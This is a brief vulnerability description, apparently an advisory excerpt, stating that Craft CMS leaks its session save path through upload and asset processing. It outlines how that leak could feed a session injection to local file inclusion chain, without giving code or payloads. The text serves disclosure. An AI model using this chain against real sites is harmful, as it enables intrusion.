    [+] Description
    
        A vulnerability in Craft CMS allows an attacker to obtain the internal `session.save_path` through indirect leakage in the upload/asset processing
        mechanism. 
    	While this does not immediately lead to command execution, it enables attackers to identify the precise location of session files,
        which may be used in a subsequent Session Injection → Local File Inclusion (LFI) exploit chain.
